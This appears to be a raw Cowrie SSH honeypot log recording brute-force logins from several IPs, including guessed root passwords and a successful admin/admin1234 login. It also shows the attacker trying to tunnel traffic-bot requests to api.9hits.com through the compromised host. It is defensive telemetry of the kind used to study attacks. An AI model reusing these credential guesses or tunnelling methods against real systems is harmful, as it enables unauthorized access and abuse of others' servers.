{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":34978,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cccaec1c7a5","protocol":"ssh","message":"New connection: 27.71.230.31:34978 (159.203.135.109:22) [session: 5cccaec1c7a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:58.542426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:58.572448Z","src_ip":"27.71.230.31","session":"5cccaec1c7a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:59.013073Z","src_ip":"27.71.230.31","session":"5cccaec1c7a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin12!","message":"login attempt [root/Admin12!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:02.721575Z","src_ip":"27.71.230.31","session":"5cccaec1c7a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":58067,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e60006912a1","protocol":"ssh","message":"New connection: 123.27.168.40:58067 (10.17.0.5:22) [session: 2e60006912a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:03.689364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:03.693738Z","src_ip":"123.27.168.40","session":"2e60006912a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:03.934196Z","src_ip":"123.27.168.40","session":"2e60006912a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:04.035214Z","src_ip":"27.71.230.31","session":"5cccaec1c7a5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:05.017347Z","src_ip":"123.27.168.40","session":"2e60006912a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":51678,"dst_ip":"10.17.0.5","dst_port":22,"session":"733cad7192e1","protocol":"ssh","message":"New connection: 103.27.238.120:51678 (10.17.0.5:22) [session: 733cad7192e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:05.133183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:05.137461Z","src_ip":"103.27.238.120","session":"733cad7192e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:05.395418Z","src_ip":"103.27.238.120","session":"733cad7192e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:05.490249Z","session":"2e60006912a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":56745,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8c1a4fb73bc","protocol":"ssh","message":"New connection: 123.27.168.40:56745 (10.17.0.5:22) [session: d8c1a4fb73bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:05.525760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:05.529556Z","src_ip":"123.27.168.40","session":"d8c1a4fb73bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:05.646281Z","session":"2e60006912a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:05.764598Z","src_ip":"123.27.168.40","session":"d8c1a4fb73bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amaterasu","message":"login attempt [root/amaterasu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:06.169641Z","src_ip":"103.27.238.120","session":"733cad7192e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:06.720301Z","src_ip":"123.27.168.40","session":"2e60006912a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=V0xTUCgoM2xFaXA0UXNkcg%3D%3DJBpW9ZvDFSQpLUfjzYie9U0N3YJUQ3vUrMRhM3cD3eIcYvneNmFxaL173M0R%2FmyKdAwVd4xGLv26thILLizCj4ITQ2NuDmNeSFZ7BH3KnmTM%2B2SRX3p7TuheZxEeyB%2FIRmkqPsRgSijawMBH%2BX%2FcjzC74q0I72LQ%2BboTq9UhC2AYlS%2Fe586XHIR%2BHczmBDrMY1O0TYcS9yDXXTv9nJOnv%2FOb1z%2BfAkRSAMrRkR3ghdRP09pBLg%2FS1VldF9gelqWmTKDWmixjuzibVGVqHQ2L2iJ4S6Y%2FrvNwlbm7xItpIi%2F69eCfjzQIlshDNnrGP1S0dAtbwSC%2BaRu20%2FSA9TkLIulVDuQsZTCL%2Fkp%2BEjgBcHMikoEtqPJVT56rcEOoGGR18%2Bb0SA1oOhGcAjnTivOtDPvfsKfJQRdASyUVji5KywTgQ%2Fi2G3I4xizt%2F1ZjxU9uvVZKOKDWJlo31adpJrgHsJhl%2B9vaLMpZhQhleiEeQUkjrALUG4%2F4UcN3o6i3VKy5AlRTNtSIdhndkHf4sOPnXyaCYZW9eEAlkFR%2BuH3pfRZ%2BBgpqM60Dq2rNpyU5zis%2Bou71QMgNlwJfvxiHoPd4RgO4Obbm3%2FkLXmJw5u%2FDiBoMhS5oPL49IriMnCxknOvTor11vxi89tzRpKAn4XFV1MgO5TsZTnhpkgB2mr79vYp5IgkqQnLSEeOrzGi6rgn50ihXGXh6X3O7MWYBABin2TeJstEnkEMS0sq55ObsONT3K8372j%2BAuS21EqiBYVSM8BAXcC0D6LfrG8DcXcBxH3PWbtB11MZgupeGmde%2FTRSDqBCHC5bwQPAkCwlvOMFS23sizl7WZSyyiMWoewFPWgsERZ2XQsRQOyExgAkhjC7FqDw30mk99tDzZjnNXwllYPIHu0ob2mDjnAbNoTUwI3QZ8EEdgC4c%2Bdl6FKHwi5SQMkPElP151ayOMuAG6S00XlyXdKNX7Nre0gCtnB83B0loVCw85743yKSYCg7WSDa0v80y4mlxubwBsnFQqE3Zk9PWg8%2F0VnYmySrFlGcE5tT0SwOQF2hS9lZbJrRs0NYdjV24fcACEBEifeFV5vGF'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=V0xTUCgoM2xFaXA0UXNkcg%3D%3DJBpW9ZvDFSQpLUfjzYie9U0N3YJUQ3vUrMRhM3cD3eIcYvneNmFxaL173M0R%2FmyKdAwVd4xGLv26thILLizCj4ITQ2NuDmNeSFZ7BH3KnmTM%2B2SRX3p7TuheZxEeyB%2FIRmkqPsRgSijawMBH%2BX%2FcjzC74q0I72LQ%2BboTq9UhC2AYlS%2Fe586XHIR%2BHczmBDrMY1O0TYcS9yDXXTv9nJOnv%2FOb1z%2BfAkRSAMrRkR3ghdRP09pBLg%2FS1VldF9gelqWmTKDWmixjuzibVGVqHQ2L2iJ4S6Y%2FrvNwlbm7xItpIi%2F69eCfjzQIlshDNnrGP1S0dAtbwSC%2BaRu20%2FSA9TkLIulVDuQsZTCL%2Fkp%2BEjgBcHMikoEtqPJVT56rcEOoGGR18%2Bb0SA1oOhGcAjnTivOtDPvfsKfJQRdASyUVji5KywTgQ%2Fi2G3I4xizt%2F1ZjxU9uvVZKOKDWJlo31adpJrgHsJhl%2B9vaLMpZhQhleiEeQUkjrALUG4%2F4UcN3o6i3VKy5AlRTNtSIdhndkHf4sOPnXyaCYZW9eEAlkFR%2BuH3pfRZ%2BBgpqM60Dq2rNpyU5zis%2Bou71QMgNlwJfvxiHoPd4RgO4Obbm3%2FkLXmJw5u%2FDiBoMhS5oPL49IriMnCxknOvTor11vxi89tzRpKAn4XFV1MgO5TsZTnhpkgB2mr79vYp5IgkqQnLSEeOrzGi6rgn50ihXGXh6X3O7MWYBABin2TeJstEnkEMS0sq55ObsONT3K8372j%2BAuS21EqiBYVSM8BAXcC0D6LfrG8DcXcBxH3PWbtB11MZgupeGmde%2FTRSDqBCHC5bwQPAkCwlvOMFS23sizl7WZSyyiMWoewFPWgsERZ2XQsRQOyExgAkhjC7FqDw30mk99tDzZjnNXwllYPIHu0ob2mDjnAbNoTUwI3QZ8EEdgC4c%2Bdl6FKHwi5SQMkPElP151ayOMuAG6S00XlyXdKNX7Nre0gCtnB83B0loVCw85743yKSYCg7WSDa0v80y4mlxubwBsnFQqE3Zk9PWg8%2F0VnYmySrFlGcE5tT0SwOQF2hS9lZbJrRs0NYdjV24fcACEBEifeFV5vGF'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:06.722631Z","src_ip":"123.27.168.40","session":"2e60006912a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:06.726167Z","src_ip":"123.27.168.40","session":"2e60006912a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x01\\x02\\x1d)\\x04`\\x07A\\xd8A\\x0f\\xfd\\xd9\\x0b\\x9d\\xcb1\\xae\\x1c\\r`\\x9as}1\\xe9\\x99\\xa5\\xeaL`\\xfa \\x8eLX\\xf3\\xe2\\xe72\\xb7\\x97\\xde\\x1f\\x00\\xb7\\xbeM~\\xa1Y\\x8fV\\xd8\\xf8\\xbb\\x9d\\xed\\xa0\\x1a\\xb4\\x8c\\x83\\xedp\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb2\\x1f\\\\\\x0f\\x839\\x1eCE\\x06\\xc7\\xd1/z\\x89gj\\x18y*\\xee`\\x07d\\xf2u\\xf8n\\xec\\xec\\x89\\x04\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x01\\x02\\x1d)\\x04`\\x07A\\xd8A\\x0f\\xfd\\xd9\\x0b\\x9d\\xcb1\\xae\\x1c\\r`\\x9as}1\\xe9\\x99\\xa5\\xeaL`\\xfa \\x8eLX\\xf3\\xe2\\xe72\\xb7\\x97\\xde\\x1f\\x00\\xb7\\xbeM~\\xa1Y\\x8fV\\xd8\\xf8\\xbb\\x9d\\xed\\xa0\\x1a\\xb4\\x8c\\x83\\xedp\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb2\\x1f\\\\\\x0f\\x839\\x1eCE\\x06\\xc7\\xd1/z\\x89gj\\x18y*\\xee`\\x07d\\xf2u\\xf8n\\xec\\xec\\x89\\x04\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:06.727857Z","src_ip":"123.27.168.40","session":"2e60006912a1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:06.875163Z","src_ip":"123.27.168.40","session":"d8c1a4fb73bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:06.961946Z","session":"2e60006912a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:07.193433Z","src_ip":"123.27.168.40","session":"2e60006912a1","protocol":"ssh"}
